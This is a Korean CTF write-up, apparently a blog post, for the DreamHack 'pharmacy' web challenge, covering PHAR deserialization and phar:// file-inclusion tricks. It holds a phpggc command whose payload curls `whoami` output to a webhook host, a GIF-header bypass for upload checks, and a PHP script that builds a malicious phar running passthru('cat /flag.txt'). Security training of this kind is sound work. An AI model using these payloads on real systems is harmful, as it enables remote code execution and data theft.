본문 바로가기

Hacking/DreamHack

pharmacy

일단 시작이 살벌하므로,

해당 문제는, 풀이 위주로 공부하는 것으로!
(고로) write-up 하고 다를 것 없는 posting

flag 가 먼 곳에 있구나,

코드를 열어 보니, 

 

이런 phar:// 이 존재하는데, 검색(AI하세요~ ㅋㅋ) 해보니 다음과 같다~

✅ phar:// 예시

php
복사편집
include 'phar://library.phar/index.php';

→ 이 코드는 library.phar 안의 index.php 파일을 포함하는 것과 같아


🎯 Pentest/CTF에서 왜 중요하냐?

📌 1. Deserialization 취약점과 연계

  • .phar 파일 내부에 직렬화된 오브젝트 + 사용자 정의 메타데이터를 삽입할 수 있어
  • 그 파일을 phar:// 경로로 열기만 해도, PHP는 자동으로 그 메타데이터를 역직렬화
  • → 이 때 __wakeup() 또는 __destruct()가 실행되며 RCE 가능

✅ 예:

php
복사편집
file_exists("phar://exploit.phar");

이 코드 하나만으로도, exploit.phar 안의 직렬화 오브젝트가 자동 실행될 수 있음


📌 2. LFI(Local File Inclusion) 우회

만약 LFI 취약점이 있다면?

php
복사편집
include($_GET['page']); // 예: ?page=phar://shell.phar

➡️ phar:// 우회를 통해 PHP 코드 실행을 유도할 수 있음


🔥 PoC 시나리오 요약

기술설명
PHAR deserialization .phar 내부 메타데이터에 직렬화 오브젝트 삽입 → file_exists, fopen, include 등으로 트리거 가능
LFI 우회 phar:// + .phar 파일을 통해 코드 실행 가능
업로드 + LFI 조합 .phar 파일을 업로드한 뒤, LFI로 phar:// 접근 → RCE
 

⚠️ 주의

  • phar://이 동작하려면 해당 파일이 실제로 PHAR 포맷이어야 해
  • phar.readonly = Off이어야 쓰기 가능 (기본은 On)

✅ 예시 코드

php
복사편집
<?php $file = 'phar://uploads/evil.phar/test.txt'; echo file_get_contents($file); // phar 내부의 test.txt 읽음 ?>

💡 요약

항목설명
phar:// PHP에서 PHAR 아카이브를 다루는 특수 스트림 프로토콜
용도 include, file_get_contents, file_exists 등에서 사용 가능
Pentest 활용 Deserialization + LFI 우회 → RCE

 

Exploit!

그럼 저 phar:// 을 이용하면 되겠는데,

phpgcc 라고 phar 용 shell 을 만들어주는게 있어서~

 

php -d error_reporting=0 phpggc monolog/rce1 system 'curl https://ifiquxr.request.dreamhack.games?x=`whoami`' -o phar2.phar

 

 (echo -n "GIF89a"; cat phar2.phar) > shell2.gif

 

만들어서 업로드 해봄

웹훅으로 오는 정보 없음!

 

위 gpt 서칭 정보에 의하면, 
__destruct()가 실행되며 RCE 가능 하다고 되어 있다!

 

그럼 

<?php
function goodbye($customer) {
    echo "Good bye, $customer!\n";
}

class Supermarket {
    public $greet = 'goodbye';
    public $customer = 'dream';
    function __destruct() {
        call_user_func($this->greet, $this->customer);
    }
}
?>

이 파일을 이용해보자~!

 

해당 파일의 Supermarket class의 __destruct() 펑션을 이용하여,

passtru 와 그에 맞는 인자 입력

 

<?php
class Supermarket {
    public $greet = 'goodbye';
    public $customer = 'dream';
    function __destruct() {
        call_user_func($this->greet, $this->customer);
    }
}

$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

$object = new Supermarket();
$object->greet = "passthru";
$object->customer = "cat /flag.txt";

$phar->setMetadata($object);
$phar->stopBuffering();
?>

 

- 'GIF89a' gif 시그니처를 파일에 입력 ( mime_content_type() 은 내부적으로 libmagic 사용하며, 보통 파일의 맨 앞 4~12 바이트만 보고 판단하여 맨앞에 해당 값 추가)

- HALT_COMPILER(); 를 추가하여, phar 형태 유지

 

=>해당 파일 업로드 및 emergent 값 추가하여, flag 획득가능
(진행 중 pc logout 으로 결과 날아가서 여기서 마무리 ㅎㅎ)

 

'Hacking > DreamHack' 카테고리의 다른 글

PTML  (0) 2025.05.04
Period (pwnable)  (0) 2025.04.02
Movie time table (WEB)  (0) 2025.04.01
r-xor-t  (1) 2024.09.05
[CodeEngn] Malware L08  (1) 2024.09.04